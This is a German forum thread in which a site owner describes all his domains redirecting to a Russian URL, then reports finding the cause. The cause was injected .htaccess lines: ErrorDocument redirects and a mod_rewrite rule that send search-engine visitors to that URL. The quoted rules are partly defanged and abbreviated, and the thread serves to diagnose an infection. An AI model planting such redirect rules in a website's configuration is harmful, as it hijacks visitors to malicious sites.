Hallo Leute,
ich weiss nicht mal, ob ich hier richtig bin, da es sich um ein Serverproblem handelt. Beim Suchen im Forum habe ich leider auch nichts passendes gefunden.

Also zum Problem:
* Ich habe bei meinem Provider ein Account, auf dem ich 5 verschiede Domais liegen habe.
* seit gestern werden alle Domains auf http|||actris|ru|change|ndex|php
umgeleitet
* ich habe umgehend mit meinem Provider Kontakt aufgenommen, die haben mir eine Mail geschrieben, dass das erst genauer Analysiert wird
und mir wurde die nachstehnde Vorgangsweise empfohlen.

* ich habe in der Zwischenzeit alle Passwörter geändert
* Alles was auf dem Server stand auf den PC heruntergeladen und mit McAfee überprüft, angeblich alles OK
* zusätzlich habe ich auf dem Server alles gelöscht, nicht angezeigte files sind nicht vorhanden
* alle Ordner, auf die die Domains zeigen neu aufgesetz - sind jetzt alle leer
bis auf eine ebenfalls neue index.html (schreibt nur 'Sorry')
* trotzdem wird noch immer umgeleitet

* habe jetzt in einen ordner mit einem .htaccess geschützt
* beim aufruf der Domain wird das Passwort abgefragt, aber dann wieder umgeleitet
* ein zusätziches redirect auf eine andere Domain wird ebenfalls ignoriert

sollte ich bei euch an der falsche Adresse sein, dann bitte einen Hinweis wo ich mich klüger machen kann

achja eine der eine der domais ist www|blindenuss|at .
aber bitte vorsicht, ich weiss nicht was man sich dort einfängt.

danke für die Hlfe

wilang

Hallo Leute,

die Malware ist gefunden.

Hier die Beschreibung, wo sich die Freunde eingenistet hatten.
in der obersten .htaccess (CHMOD 644) , die bei mir vom Provider eingerichte wurde
wurde relativ weit unten ( man musste sehr weit nach unten scrollen )
dieser Eintrag gefunden:
ErrorDocument 400 http:**actris.ru*change*ndex.php usw. alle Errordocumente
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR] usw. alle Suchmaschinen
RewriteRule ^(.*)$ http:**actris.ru*change*ndex.php [R=301,L]

lG
wilang